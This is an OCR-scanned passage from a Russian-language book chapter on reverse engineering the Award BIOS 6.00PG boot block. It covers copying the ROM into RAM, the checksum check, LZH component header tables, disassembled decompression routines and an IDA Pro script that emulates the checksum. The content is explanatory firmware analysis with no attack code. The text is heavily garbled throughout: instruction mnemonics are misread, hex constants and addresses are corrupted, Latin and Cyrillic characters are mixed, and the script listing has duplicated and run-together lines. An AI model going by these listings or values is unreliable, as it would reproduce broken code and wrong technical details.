^OO;E4fO
xor
ax, ax
^00:E4F2
mov
ss, ax
2°00;E4F4
assume
ss:nothing
г°00;Е4Р4
mov
sp, OEOOh
4000:E4f7
call
is_genuine_intel
Последние 128 Кбайт кода из диапазона адресов E000:0000h-F000:FFFFh Ко% пируются в RAM следующим образом:
Сразу же после включения питания, установки, задаваемые по умолчанию для северного и южного мостов, назначают диапазон адресов системного пространства, на который отображается адресное пространство чипа ROM BIOS, Т. е. диапазон адресов FFFE_FFFFh-FFFF_FFFFh, как псевдоним диапазону адресов F_ooooh-F_FFFFh. Благодаря этому становится возмог ным нормальное исполнение следующего кода:
Адрес ШестнадцатеричноеМнемокод
значение
F000:FFF0 ЕА 5В ЕО 00 F0jmp far ptr F000:E05Bh
Установки, задаваемые по умолчанию для северного моста, запрещают создание теневой BIOS в этом адресном пространстве. Таким образом, запросы на чтение или запись к этому адресному диапазону направляются не в DRAM, а к южному мосту для декодирования. Установки по умолчанию управляющих регистров южного моста, которые контролируют отображение этого адресного пространства, требуют, чтобы обращения к нему декодировались как обращения к чипу BIOS через мост LPC. Поэтому запросы на чтение к этому адресному диапазону будут направлены к чипу ROM BIOS без изменения южным мостом.
Вскоре после начала исполнения кода начальной загрузки, исполняется подпрограмма начальной инициализации чипсета — chipset_eariy_init. Эта подпрограмма перепрограммирует мост LPC южного моста так, чтобы разрешить декодирование адресов E_ooooh-F_FFFFh к ROM, т. е. чтобы перенаправить операции чтения по этому адресу в чип ROM BIOS. Установки по умолчанию северного моста запрещают создание теневой BIOS в RAM по этому диапазону адресов. Таким образом, обращения чтения или записи к этому адресному пространству не направляются в DRAM.
Затем следует подпрограмма, показанная в листинге 5.13, которая копирует последние 128 Кбайт содержимого чипа ROM BIOS из диапазона адресов E_0000h-F_FFFFh В ДИаПЗЗОНЫ адресов 1000:0000h-2ООО:FFFFh И i8_ooooh-i9_FFFFh. Исполнение продолжается в сегменте 2000h. Это становится возможным благодаря тому, что чипсет отображает адресный диапазон i000:0000h-2000:FFFFh только на DRAM, не требуя никакого специального преобразования адресов.
Этот алгоритм, с незначительными изменениями, применяется в Award BIOS с версии 4.50PG по версию 6.00PG.
.2.7. Подпрограмма для распаковки системной BIOS и ее точка входа
Лизассемблированный код подпрограммы для распаковки системной BIOS приведен в листинге 5.14.
Листинг 5.14. Подпрограмма для распаковки системной BIOS
2000:Е544 2000:Е544 2000:Е546 2000:Е549 2000:Е54В 2000:E54D 2000:Е550 2000:Е553 2000:Е556
2000:Е558
decoiupress_sys_bios:
mov al, OFFh
call enable_cache
moval,OCh
out80h, al; Выводим диагностическийкод
call search_BBSS
movax,[si + OEh]
movsi,0
movds,si
assume ds:nothing
2000:Е558
mov si, 6000h
2000:Е55В
mov[si], ax; [0000:6000] = 0xB0F4
2000:E55D
mov al, 0C3h; '+'
2000:E55F
out80h, al; Выводим диагностический код
2000:Е561
2000:Е564
call near ptr Decompress_System_BIOS
2000:Е564 2000:Е566 2000:Е566 2000:Е566 2000:Е566 2000;Е566 2000:Е569 2ООО:Е56А 2ООО:Е56А 2000:Е573 2000:Е57С 2000:Е585 2000:Е588 2000:Е588 2000:Е588 2000:Е588 2000:Е588
2ООО:Е58А 2000:Е58А
jnpshort System_BIOS_dcmprssion_OK
decompression_failed:; Процедура обработки
; неудачной распаковки
push2000h
popds
assumeds:_20000h
movdword_2000_FFF4,'/11='
movdword_2000_FFF8,'9/11'
movdword_2000_FFFC,0CFFC0039h
movax, lOOOh
System_BIOS_dcmprssion_OK:
; Процедура обработки
; успешной распаковки
mov ds, ax
assume ds:seg_01
push ax
158
Часть II. Обратная разработка BIOS материнской платы
2000:E58B
mov al, 0C5h ; '+'
2000:E58D
out8Oh, al; Выводим диагностический код
2000:E58F
call copy_decompression_result
2000:E592
pop ax
2000:E593
cnp ax, 5000h
2000-.E596
jzshort dconprssion_ok
2000:E598
jnp deconpress_err+l
2000:E59D
2000:E59D
2000:E59D
dconprssion_pk:
2000:E59D
mov al, 0
2000:E59F
call enable_cache
2000:E5A2
jnp org_tmp_entry
2000:FC85
Decompress_System_BIOS proc far
2000:FC85
; Процедура распаковки
2000:FC85
; системной BIOS
2000:FC85
push200Oh
2000:FC88
call near ptr CX_equ_C000h
2000:FC8B
mov esi, 0
2000:FC91
jnz short not_taken
2000:FC93
mov esi, OFFFOOOOOh
2000:FC99
2000:FC99
not_taken:
2000:FC99
movzx ecx, ex
2000:FC9D
shl ecx, 4
2000:FCAl
oresi, ecx
2000:FCA4
cld
2000:FCA5
mov ax, cs
2000:FCA7
mov ds, ax
2000:FCA9
assume ds:_20000h
2000:FCA9
Igdt qword_2000_FC16
2000:FCAE
mov eax, crO
2000:FCBl
oral, 1
2000:FCB3
mov crO, eax
2000:FCB6
jnp short $+2
2000:FCB8
mov ax, 8
2000:FCBB
mov ds, ax
2000:FCBD
assume ds:FFFF0000h
2000:FCBD
mov es, ax
2000:FCBF
assume es:FFFF0000h
2000:FCBF
andesi, OFFFOOOOOh
^аДЯ 5. Реализация BIOS материнской платы
159
2000:FCC6 2000:FCCD 2000:FCD3 2000:FCD9 2000:FCD9 2Q00:FCD9 2000:FCD9 2000: FOOD 2000:FCEO 2000:FCE2
2000:FCE5 2000:FCE7 2000:FCEA 2000:FCED 2000:FCFO 2000-.FCF2 2000:FCF5 2000:FCF6
2000:FCF9
2000:FCFC
2000:FCFD
2000:FCFF 2000:FD02 2000:FD05 2000:FD06 2000:FD09 2000:FDOA 2000:FD10 2000:FD16 2000:FD19 2000;FD19 2000:FD19 2000:FD1d 2000;fD24 2000:FD2B 2°00;fd2d 2°00:pD2p 2o°O:FD31
oresi,80000h
movedi,300000h
movecx,20000h
rep movs dword ptr es:[edi ],
moveax, crO
andal, OFEh
movcrO, eax
jmpshort $+2
push200Oh
call near ptr flush_cache callsearch_BBSS
movsi, [si]
andsi, OFFFOh
pushsi
movbx, [si + OAh]
andbx,OFFFOh
popax
addax,bx
andax,OFOOOh
addax,OFFEh
pushax
callenter_voodoo
popax
movesi,300000h
movecx,60000h
addecx,esi
next_lower_byte: movebx,[esi]
andebx,OFFFFFFh
cnpebx,'hl-'
jzshort lh_sign_found
incesi
jmpshort next_lower_byte
dword ptr [esi]
; Копируем 512 Кбайт кода BIOS
; из области возле границы 4 Гбайт
; в область памяти 30_0000h-37_FFFFh.
; Ищем упакованную системную BIOS.
2°°0:FD31 2°00;FD31 2°°0:FD3i 2°°0:PD35
lh_sign_ sub
add
.found: esi, 2
ex, ax
; Указатель на начало
; упакованного компонента.
160
Часть II. Обратная разработка BIOS материнской платы
2000:FD37
2000:FD3A
2000:FD3C
2000:FD3C
2000:FD3C
2000:FD3E
sub есх, esi
xor ah, ah
next_byte:;
lods byte ptr [esi]
add ah, al; Вычисляем 8-битную контрольную сумму.
2000:FD40 2000:FD43 2000:FD46
2000:FD47
2000:FD4A 2000:FD4B 2000:FD4D
loopdnext_byte
moval, [esi]
pushax
callexit_voodoo
popax
orpah, al
jnzdecompression_failed ; Переход к процедуре обработки
2000:FD4D
; неудачной распаковки.
2000:FD51
2000:FD53
2000:FD55
2000:FD55
2000:FD5B
2000:FD5B
2000:FD5B
2000:FD5E
2000:FD5E
хогЬх, Ьх
moves, bx
assume es:nothing mov ebx, 300000h
repeat: call near ptr Decompress jbshort decompression_failed
; Переход к процедуре
2000:FD5E
; обработки неудачной распаковки.
2000:FD60
2000:FD67
2000:FD69
2000:FD6B
2000:FD6B
test есх, OFFFFOOOOh
jnzshort sys_bios_decompress_OK
jmpshort next_segment
decompression_failed:; Процедура обработки
2000:FD6B
; неудачной распаковки.
2000:FD6B
2000:FD72
2000:FD74
2000:FD7B
2000:FD7D
2000:FD7D
orpebx, 360000h
jnbshort chk_last_phy_addr
addebx, lOOOOh
jmpshort repeat
next_segment:.
2000:FD7D
2000:FD84
2000:FD86
2000:FD86
add ebx, lOOOOh
jmpshort deconpress_next_seg?
sys_bios_decompress_OK:; Процедура обработки успешной
2000:FD86
; распаковки системной BIOS.
2000:FD86
add ebx, есх
fjiaea 5- Реализация BIOS материнской платы
161
2000:FD69
inc
ebx
2000:FD8B
2000:FD8B
deconpress_next_seg?:
2000:FD8B
call
near ptr Decompress
2q00:FD8E
jb
short chk_last_phy_addr
2000:FD90
add
ebx, ecx
2000:FD93
jnp
short deconpress_next_seg?
2000:FD95
2000:FD95
chk_last_phy_addr:
2000:FD95
cmp
ebx, 360000h
2000:FD9C
jnz
short decompression_OK
; Переход к процедуре
2000:FD9C
; обработки успешной распаковки
2000:FD9E
mov
ax, lOOOh
2000:FDAl
stc
2000:FDA2
re tn
1
2000:FDA3
2000:FDA3
decompression_OK:
; Процедура обработки
2000:FDA3
; успешной распаковки.
2000 : FDA3
mov
ex, 800h
2000:FDA6
mov
al, OADh ; ' j'
2000:FDA8
out
64h, al
; Контроллер клавиатуры АТ 8042
2000:FDAA
2000:FDAA
delay:
2000:FDAA
loop
delay
2000:FDAC
jz
decompression_failed
;Переход к процедуре обработки
2000:FDAC
; неудачной распаковки.
2000:FDBO
mov
ax, 5000h
2000:FDB3
clc
2000:FDB4
retn
2000:FDB4
Decompress_System_BIOS endp
; Конец процедуры распаковки
2000:FDB4
; системной BIOS
D
начале процедуры Decompress_system_Bios, 512 Кбайт кода BIOS из диапазона FFF8_0000h-FFFF_FFFFh КОПИрувТСЯ В область 30_0000h-37_FFFFh СИСТСМНОЙ
Затем упакованный код системной BIOS (компонент 4bgflp50.bin), нахоДяЩийся в области RAM 3o_ooooh-37_FFFFh, распаковывается в область RAM ^o°O:ooooh-6ooo:FFFFh. Обратите внимание: расположение системной BIOS ^Упакованном двоичном файле зависит от версии Award BIOS 6.00PG. °На всегда будет первым компонентом, упакованным по алгоритму LHA, этом диапазоне адресов. Впоследствии, распакованная системная BIOS Ремещается в RAM в область еооо : оооон—food :ffffh. Но в случае неудачной
распаковки, в область E000:0000h-F000:0000h будут перемещены упакован, ные сегменты E_seg и F_seg, находящиеся в RAM в диапазоне юоо:оооон^ 2000:FFFFh. Затем исполняется код, осуществляющий обработку ошибок, возникающих при исполнении кода, содержащегося в блоке начальной за. грузки. Обратите внимание, что проблемы, связанные с псевдонимами адресов и затенением BIOS в RAM, решаются во время перемещения путем установки соответствующих регистров чипсета. Вкратце эту процедуру можно описать следующим образом:
В начале исполнения кода блока начальной загрузки разрешается декодирование диапазона адресов FFFO_ooooh-FFFF_FFFFh путем соответствующей конфигурации регистров северного и южного мостов. Мост LPC будет направлять обращения к этому диапазону к чипу ROM BIOS. Руководит этим процессом хаб FWH моста LPC, который декодирует управляющие регистры.
Весь КОД BIOS копируется ИЗ области FFF8_0000h-FFFF_FFFFh в чипе ROM В область 30_0000h-37_FFFFh в RAM.
Проверяется контрольная сумма всего упакованного образа BIOS. Вычисляется 8-битная контрольная сумма упакованного образа BIOS, скопированного в RAM (т. е. диапазона адресов зо_ооооь-36_вррвн) и сравнивается со значением, хранящимся по адресу 36_BFFEh. Если эти значения не совпадают, процесс распаковки прекращается, и управление передается по метке chk_sum_error; в противном случае, процесс распаковки продолжается.
В сегменте loooh ищется движок распаковщика по сигнатуре *bbss*. Сегмент ю оон является копией сегмента во о он в RAM. Эта часть отличается от кода Award BIOS версии 4.50, в которой движок распаковщика находится в сегменте 2ооон, т. е. копии сегмента foooh в RAM.
Вызывается движок распаковщика, и распаковываются упакованные компоненты BIOS. Обратите внимание, что на данном этапе распакована только системная BIOS. Другие компоненты обрабатываются иначе. Процедура распаковки только обрабатывает распакованную информацию и информацию области расширения, а затем сохраняет ее в RAM в районе адреса оооо:бооон. Я рассмотрю процедуры распаковки в подробностях
чуть позже. Все, что требуется знать на данном этапе — это то, что успешно распакованная системная BIOS будет сохранена в области 5000:OOOOh—6000:FFFFh.
Создается теневая BIOS. Если процедура распаковки завершена успешно, процедура создания теневой BIOS копирует распакованную системную BIOS ИЗ области RAM 5000:0000h-6000:FFFFh В область E_0000h-F_FFFFh, тоже в RAM. Делается это следующим образом:
о Регистр управления теневой BIOS северного моста перепрограммиру- ется, чтобы установить статус диапазона адресов E_ooooh-F_FFFFh на "только запись", т. е. направлять обращения записи к этому диапазону не к чипу ROM BIOS, а к DRAM.
о Операцией копирования строки распакованная системная BIOS копируется ИЗ области 5000:0000h—6000:FFFFhВ область E_0000h-F_FFFFh.,
о Регистр управления теневой BIOS северного моста перепрограммиру- ется, чтобы установить статус диапазона адресов E_ooooh-F_FFFFh на "только чтение", т. е. чтобы направлять обращения чтения к этому диапазону не к чипу ROM BIOS, а к DRAM. Помимо этого, данная операция устанавливает защиту кода системной BIOS от перезаписи.
Разрешается доступ к кэшу процессора, а затем осуществляется безусловный переход в распакованную системную BIOS. Это последний шаг в исполнении ветви кода BIOS, отвечающей за нормальную загрузку. После разрешения доступа к процессорному кэшу, выполняется безусловный переход в область системной BIOS, расположенной в RAM по адресу F000:F80Dh, как видно из кода, приведенного в листинге 5.14. Этот адрес безусловного перехода одинаков для всех Award BIOS.
В табл. 5.1 представлена общая схема распределения памяти среди компонентов BIOS перед выполнением безусловного перехода в распакованный модуль original.tmp. Важно ознакомиться с этой таблицей, так как информация; содержащаяся в ней, поможет вам в последующей работе с этим файлом. Обратите внимание, что к этому времени любой код исполняется уже в RAM, и никакой код не исполняется в чипе ROM BIOS.
Последнее, что следует отметить — это то, что приведенное описание блока Начальной загрузки применимо только к ветви кода BIOS, отвечающей за Нормальное исполнение кода, содержащегося в блоке начальной загрузки.
означает, что сюда не входят стартовые процедуры POST, выполняемые в случае поврежденной системной BIOS.
Таблица 5.1. Распределение памяти среди двоичных компонентов BIOS перед безусловным переходом в original, imp
Диапазон адресов в RAM
Статус распаковки (выполненной кодом блока начальной загрузки)
Описание
6000h-6400h
Не применимо
В этой области содержится заголовок компонента расширения (т. е. компонента иного, нежели системная BIOS) из области 3O_ooooh-37_FFFFh образа BIOS (ранее — компонент BIOS, расположенный в диапазоне адресов fff8_ooooh-ffff_ FFFFH в чипе BIOS)
l_0000h-
2_FFFFh
Чисто двоичный код (исполняемый)
Эта область содержит блок распаковки, блок начальной загрузки и, возможно, код восстановления после ошибок, на случай каких-либо сбоев в BIOS. Содержимое этой области — копия последних 128 Кбайт BIOS (ранее — компонент BIOS в диапазоне FFFE_0000h-FFFF_FFFFh ЧИПЭ ROM BIOS). Этот теневой код копируется сюда кодом начальной загрузки в чипе ROM BIOS
5_0000h- 6_FFFFh
Распакованный код
Данная область содержит распакованный файл original.tmp. Обратите внимание, что процесс распаковки выполняется кодом, являющимся частью блока распаковки, расположенного в сегменте io ooh
30_0000h-
37_FFFFh
Упакованный код
Эта область содержит копию BIOS (ранее находившуюся в области fff8_ooooh- FFFF_FFFFh ЧИПЭ ROM BIOS). ЭТОТ КОД копируется сюда кодом начальной загрузки в сегменте 2ооон
E_0000h- F_FFFFh
Распакованный код
Эта область содержит копию распакованного файла original.tmp, скопированного сюда кодом начальной загрузки, находящимся в сегменте 2000Н
Теперь можно перейти к подробному рассмотрению процедуры распаковки BIOS, упомянутой в пункте 5 описания процедуры перемещения кода BIOS в памяти. Начнем с изучения предварительного материала.
В упакованных компонентах Award BIOS применяется модифицированная версия формата заголовка LZH первого уровня. Этот формат указывает адре' са областей, в которых эти компоненты BIOS будут размещены после распа-
ковкиковки. Сам формат описан в табл. 5.2. Как уже было сказано, этот формат
ковки
ковки
применимприменимко всем упакованным компонентам.
применим
применим
Таблица 5.2. Формат заголовка LZH первого уровня
Смещение от первого байта (от пред- заголовка)
Смещение в основном заголовке LZH
Размер в байтах
Содержимое
ООН
Не применимо
1 байт для пред- заголовка; нет данных для основного заголовка LZH
Длина заголовка компонента. Зависит от имени файла и компонента. Вычисляется по формуле длина_заголовка = длина_ имени__файла + 25
Olh
Не применимо
1 байт для пред- заголовка; нет данных для основного заголовка LZH
8-битная контрольная сумма заголовка (без учета первых двух байтов — байта длины заголовка и байта контрольной суммы заголовка)
02h
ООН
5
Идентификационный номер метода LZH (сигнатура в формате строки ASCII). Для Award BIOS это -1Н5-, что означает следующее: 8-килобайтный скользящий словарь (максимальный размер окна — 256 байт) + сжатие по статическому методу Хаффмана + улучшенная кодировка позиций и деревьев
07h
05Н
4
Размер сжатого файла или компонента в формате следования байтов, начиная с младшего (т. е. старший байт расположен ПО ОАН)
OBh
09h
4
Размер распакованного файла или компонента в формате следования байтов, начиная с младшего (т. е. старший байт расположен ПО OEh)
Таблица 5.2 (продолжение)
Смещение от первого байта (от пред- за головка)
Смещение в основном заголовке LZH
Размер в байтах
Содержимое
OFh
ODh
2
Смещение адреса назначения в формате следования байтов, начиная с младшего (т. е. старший байт по 10h). Компонент будет распакован по этому смещению (адресация производится в реальном режиме)
llh
OFh
2
Сегмент адреса назначения в формате следования байтов, начиная с младшего (т. е. старший байт по 12h). Компонент будет распакован в этот сегмент (адресация производится в реальном режиме)
13h
llh
1
Атрибут файла. Для компонентов Award BIOS этот атрибут будет 2 Oh, что обычно является признаком файла, сжатого по алгоритму LZH первого уровня
14h
12h
1
Уровень алгоритма LZH. Для компонентов Award BIOS этот атрибут будет Olh, что обычно является признаком файла сжатого по алгоритму LZH первого уровня
15h
13h
1
Размер имени компонента в байтах
16h
14h
Длина_имени_ файла
Имя файла компонента (строка ASCII)
16h + длина_ имени_файла
14h + длина_ имени_файла
2
Контрольная сумма файла или компонента, вычисленная по алгоритму CRC-16 в формате следования байтов, начиная с младшего (т. е. старший байт размещен по [ РазмерЗаголовка - 2h] и т. д.)
Таблица 5.2 (окончание)
СмеЩение от первого байта (от пред* заголовка)
Смещение в основном заголовке LZH
Размер в байтах
Содержимое
l8h + длина_ имени_файла
16h + длина_ имени_файла
1
Идентификационный номер операционной системы. В Award BIOS это значение всегда 2 Oh (ASCII-код символа пробела), что не похоже ни на одно из известных мне допустимых значений поля OS ID в заголовке LZH
19h + длина_ имени_ фа йл а
17h + длина_ имени_файла
2
Размер следующего заголовка.
В Award BIOS это значение всегда равно ooooh, что означает отсутствие заголовка расширения
Таблицы 5.1 и 5.2 нуждаются в некоторых разъяснениях. Итак:
Смещения и адресация, используемые в таблицах, вычисляются по отношению к первому байту компонента. Смещение в основном заголовке LZH применяется внутри сверхоперативной RAM (подробнее о которой будет объяснено дальше).
Каждый компонент завершается маркером конца файла, т. е. байтом оон.
В Award BIOS имеется подпрограмма Read_Header, при помощи которой читается и проверяется содержимое этого заголовка. Одной из ключевых процедур этой подпрограммы является calc_LZH_hdr_CRCi6, которая записывает заголовок компонента BIOS в сверхоперативную RAM по адресу зооо:оооои (ds:ooooh). Эта сверхоперативная RAM заполняется значениями базовых заголовков LZH, за исключением первых двух байтов8.
Теперь перейдем к контрольной сумме, которая проверяется до и после процесса распаковки. В Award BIOS версии 6.00PG перед распаковкой проверяется всего лишь одна контрольная сумма — 8-битная контрольная сумма всех Упакованных компонентов и блока распаковки, иначе говоря, компонентов, °тличных от блока начальной загрузки. Эта .проверка выполняется процедурой Decompress_system_Bios, как показано в листинге 5.15.
—
Первые 2 байта сжатых компонентов — это предзаголовок, т. е. в них указываются Размер заголовка и контрольная сумма.
Листинг 5.15. Подпрограмма проверки контрольной суммы в процедуре Decompress„System_BIOS
2000:FC85
2000:FC85
2000:FC85
; ввод: нет
; вывод: ax = 5000h при успехе
;ax = lOOOh при неудаче
2000:FC85
2000:FC85
2000:FC85
2000:FC85
Decompress_System_BIOS proc far
; Атрибуты:
noreturn
2000:FCED 2000:FCF0 2000:FCF2 2000:FCF5 2000:FCF6 2000:FCF9 2000:FCFC 2000:FCFD 2000:FCFF 2000:FD02 2000:FD05 2000:FD06 2000:FD09 2000:FD0A 2000:FD10 2000:FD16 2000:FD19 2000:FD19 2000:FD19 2OOO:FD1D 2000:FD24 2000:FD24 2000:FD2B 2000:FD2D 2000:FD2F 2000:FD31 2000:FD31 2000:FD31 2000:FD31 2000:FD31 2000:FD35
call search_BBSS mov si, [si] and si, OFFFOh push si mov bx, [si + OAh] and bx, OFFFOh pop ax add ax, bx and ax, OFOOOh add ax, OFFEh push ax call enter_voodoo pop ax movesi,300000h
movecx,60000h
addecx,esi
next_higher_byte:; —
movebx,[esi]
andebx,OFFFFFFh
crop ebx, 'hl-'
jzshort lh_sign_found
incesi
jmp short next_higher_byte
; Ищем упакованную системную BIOS ; (первый упакованный компонент).
lh_sign_ sub
add
_found: esi, 2
ex, ax
; Указатель на начало
; упакованного компонента.
2000=Fd37 2000:F°3A 2000:F°3C
sub ecx, esi
xor ah, ah
2000:F°3C
next_byte:
,■ • •
2ooO :FD3C 2000:FD3E
lods byte ptr [esi] add ah, al
; Вычисляем 8-битную контрольную сумму
2()00:FD3E 2000:FD40 2000:FD43 2000:FD46 2000:FD47 2000:FD4A 2000:FD4B 2000:FD4D
2000:FDB3 2000:FDB4
loopd next_byte
mov al, [esi] push ax
call exit_voodoo
pop ax crop ah, al jnz chk_sum_error
clc
retn
;всех упакованных компонентов.
2000:FDB4 Decompress_System_BIOS endp
Метка chk_sum_error находится вне процедуры Decompress_System_BIOS. ЕСЛИ результат проверки контрольной суммы оказывается отрицательным, управление дальнейшим исполнением кода передается по этой метке. Код проверки контрольной суммы, приведенный в листинге 5.15, можно имитировать с помощью сценария IDA Pro, показанного в листинге 5.16.
Листинг 5,16. Имитация проверки контрольной
: суммы Award BIOS с помощью сценария IDA Pro
^include cidc.ido
static main() {
^to ea, si, esi, ebx, ds_base, ax, bx, ecx, calculated_sum, ^dcoded-sum ;
Z ^e*4 сигнатуру BBSS */
-base = OxEOOOO;
ea =.
^-base + OxFFFO;
Ssage("Применяется ds_base Ox%X\n", ds_base);
for( .
• ea > ds_base ; ea = ea - 0x10 )
{
if( (Dword(ea) == 'SBB*')&& (Word(ea + 4) == '*S') )
{
Message("*BBSS* находится по адресу Ox%X\n", ea);
si = (ea & OxFFFF) + 6;
break;
}
}
Message("По выходу, si = Ox%X\n", si );
Message("[si] = Ox%X\n", Word(ds_base + si) );
Message("[si+OxA] = Ox%X\n", Word(ds_base + si + OxA) );
/* Вычисляем ax */
si = Word(ds_base + si);
si = si & OxFFFO;
bx = OxFFFO & Word(ds_base + si + OxA);
ax = si + bx;
ax = ax & OxFOOO;
ax = ax + OxFFE;
Message("ax = Ox%X\n", ax );
/* Ищем сигнатуру -lh5- */ for(esi = 0x300000; esi < 0x360000 ; esi = esi + 1 ) (
if( (Dword(esi) & OxFFFFFF ) == 'hl-' ) (
Message("Сигнатура -Ih находится по адресу 0x%X\n", esi); break;
) )
/* Вычисляем размер двоичного файла (без области начальной загрузки, только упакован ные компоненты). */
есх = 0x360000;
esi = esi - 2; /* Указатель на начальный адрес упакованного компонента. */
есх = есх + ах;
_ есх - esi; уСХ "
MessageMessage"Общий размер упакованных компонентов - Ох%Х\п","Общий размер упакованных компонентов - Ох%Х\п",есх) ;есх) ;ГГвычисляем контрольную сумму -вычисляем контрольную сумму -Примечание.Примечание.Унаследованы предыдущиеУнаследованы предыдущиезначения регистров esi и есх.значения регистров esi и есх.*/*/calculated_sum = 0;calculated_sum = 0;while (есх > 0)while (есх > 0)
Message
Message
"Общий размер упакованных компонентов - Ох%Х\п",
"Общий размер упакованных компонентов - Ох%Х\п",
есх) ;
есх) ;
Г
Г
вычисляем контрольную сумму -
вычисляем контрольную сумму -
Примечание.
Примечание.
Унаследованы предыдущие
Унаследованы предыдущие
значения регистров esi и есх.
значения регистров esi и есх.
*/
*/
calculated_sum = 0;
calculated_sum = 0;
while (есх > 0)
while (есх > 0)
calculated_sum = (calculated—sum + Byte(esi)) & OxFF;
esi = esi + 1;
ecx = есх - 1;
hardcoded_sum = Byte(esi);
Message ("Жестко закодированная сумма помещена по адресу 0x%X\n", esi);
Message ("Вычисленная сумма = 0x%X\n", calculated_sum);
Message ("Жестко закодированная сумма = 0x%X\n", hardcoded—sum) ;
if( hardcoded—sum == calculated—sum) (
Message("Контрольная сумма правильная!\n"); )
return 0; )
В результате исполнения сценария, приведенного в листинге 5.16, в панели сообщений главного окна IDA Pro выводится соответствующее сообщение (листинг 5.17).
Листинг 5.17. Сообщения, выводимые в панели сообщений главного окна IDA Pro 8 Результате исполнения сценария, имитирующего проверку контрольной сУммы Award BIOS (см. листинг 5.16) .
touting function 'main'...
применяется ds_base ОхЕОООО
° находится по адресу 0хЕВ530
П° выходу, si = 0хВ536
^1 = ОхбООЕ
^i+OxA] = 0хВ09Е
ОХ = OxBFFE
Сигнатура -lh находится по адресу 0x300002
Общий размер упакованных компонентов = 0x6BFFE
Жестко закодированная контрольная сумма помещена по адресу 0x36BFFE Вычисленная сумма = ОхбВ
Жестко закодированная сумма = ОхбВ
Контрольная сумма правильна!
Следует отметить, что в Award BIOS версии 6.00PG системная BIOS всегда будет первым упакованным компонентом в копии двоичного файла BIOS, расположенной в области 30_0000h-37_FFFFh системной RAM. Также в двоичном файле она всегда находится на границе 64 Кбайт (юоооь).
Переходим к ключевым фрагментам подпрограмм распаковки. Следующая подпрограмма распаковки (листинг 5.18) является версией на языке ассемблера оригинального кода распаковщика LHA, написанного Харухико Окумурой (Haruhiko Okumura) на языке С. Начнем с процедуры Decompress, вызываемой ИЗ процедуры Decompress_System_BIOS ПО адресу 2000:FD5Bh.
Листинг 5.18. Дизассемблированный код процедуры Decompress
2000:FC2C
; При входе :
ebx = src_phy_addr
2000:FC2C
2000:FC2C
2000:FC2C
2000:FC2C
2000:FC2C
2000:FC2C Decompress proc far
2000:FC2Ccallenter_voodoo
2000:FC2F push large dword ptr es:[ebx
2000:FC35callexit_voodoo
200.0 :FC38push2000h
2000:FC3B call near ptr flush_cache
; По выходу: ecx = общий размер
; упакованных компонентов
; CF = 1 при успехе
; CF = 0 при неудаче
+ OFh]
; Сохранить seg-offset назначения
2000: FC3Epopecx
2000:FC40crrpecx, 40000000h
2000:FC47jnzshort „decompress
2000:FC49movsi, 0
2000:FC4Cmovds, si
2000:FC4E assume ds:HdrData
2000:FC4E mov dword ptr unk_0_6004, ebx
; ecx = seg-offset назначения
2000:FC53 movzx ecx, byte ptr es:[ebx]
; есх = длина
i заголовка LZH
тава 5. Реализация BIOS материнской платы
173
2000 :FC59 а^ есх' es:[ebx+7] 2000:FC59
есх = размер упакованного файла + длина заголовка LZH
2oOO:FC5F add есх, 3
2000:FC5F
2000:FC5F
2000:FC5F
2oOO:FC63 retn
2000:FC64
есх = размер упакованного файла + длина заголовка LZH
+ sizeof(пред-заголовок LZH) + sizeof(EOF)
2q00:FC64 „decompress:
2000:FC64movdx, 3000h
2000:FC67pushax
2000:FC68pushes
2000:FC69callsearch_BBSS
2000 :FC6Cpopes
2000:FC6Dpushes
2000:FC6Emoveax, ebx
2000:FC71shreax, lOh
2000:FC75moves, ax
2000 :FC77pushcs
2000:FC78pushoffset exit
2000:FC7Bpush lOOOh
2000:FC7Epush word ptr [si + OEh]
Копия E_seg в RAM
2000:FC81 retf
2000:FC82
1000:B0F4h — движок распаковщика
2000:FC82 exit:
2000:FC82popes
2000:FC83popax
2000:FC84 retn
2000.-FC84 Decompress endp
Действительности, процедура Decompress, приведенная в листинге 5.18, не выполняет распаковку, а всего лишь вызывает настоящую процедуру распа- Ковки LHA. Начальный адрес движка распаковщика расположен через 14 бай- т°в после строки *bbss*. Дизассемблированный код этого движка распаков- ^ИКа показан в листинге 5.19.
Устинг 5.19. Дизассемблированный код движка распаковщика
~ ...и.,^, wv.«»*.<.>v._ 1...н1й... «W.*«.-^.ii».A»v,; . ....KrivAi .. . 1. SAv»U.Kf«.
*^®0:B0p4n
; При входе: es = старшее слово
;физического адреса источника
и°:В0Р4
;Ьх = младшее слово
;физического адреса источника
1000:B0F4
dx = адрес сегмента
временной памяти
1000:B0F4
1000:B0F4
По выходу : есх = Общая длина
упакованных компонентов
1000:B0F4
edx = Первоначальный размер файла
1000:B0F4
CF = 1 при отрицательном результате
1000:B0F4
CF = 0 при положительном результате
1000:B0F4
1000:B0F4
Deconipression_Ngine proc
far
1000:B0F4
push
eax
1000:B0F6
push
bx
1000:B0F7
push
es
1000:B0F8
mov
ds, dx
1000:B0FA
push
ds
1000:B0FB
pop
es;
es = ds; Используется для
1000:B0FB
обнуления далее
1000:B0FC
xor
di, di
1000:B0FE
mov
ex, 4000h
1000:B101
xor
ax, ax;
Инициализация обнулением
1000:B103
rep stosw;
Инициируем 32 Кбайт временной памяти
1000:B105
Pop
es
1000:B106
push
es
1000:B107
mov
src_hi_word, es
1000:B10B
mov
src_lo_word, bx
1000:BlOF
xor
ecx, ecx
1000:B112
mov
selector_0_lo_dword, ecx
Создаем таблицу GDT.
1000:B117
mov
selector_0_hi_dword, ecx
1OOO:B11C
lea
ex, seleetor_0_lo
_dword
1000:B120
ror
ecx, 4
1000:B124
mov
ax, ds
1000:B126
add
ex, ax
1000:6128
rol
ecx, 4
1000:B12C
mov
GDT_limit, 20h
1 1 ; Предел таблицы GDT
1000:B132
mov
GDT_phy_addr, ecx
1000:B137
mov
sel_l_lo_dword, OFFFFh
1000:B140
mov
ax, es
1000:B142
movzx
ecx, ah
1000:B146
ror
ecx, 8
1000:B14A
mov
cl, al
тява 5. Реализация BIOS материнской платы
175
1000:В14С
or
ecx, 8F9300h
1000:В153
mov
sel_l_hi_dword,
ecx
1000:В158
mov
sel_2_lo_dword,
OFFFFh
^00:8161
mov
sel_2_hi_dword,
8F9300h
^ООгВТбА
mov
sel_3_lo_dword,
OFFFFh
1000:6173
mov
sel_3_hi_dword,
8F9300h
1000:В17С
call
Make_CRC16_Tablt
1000:B17F
call
Fetch_LZH_Hdr_Info
i000:B17F
; Устанавливаем перенос для
; недействительного заголовка LZH.
1000:6182
jb
exit
1000:6186
push
gs
ЮОО:6188
mov
di, 0
Ю00:В18В
mov
gs, di
1000:B18D
assume gs:HdrData
1000:Bl8D
mov
di, 6000h
1000:В190
add
bx, 12h
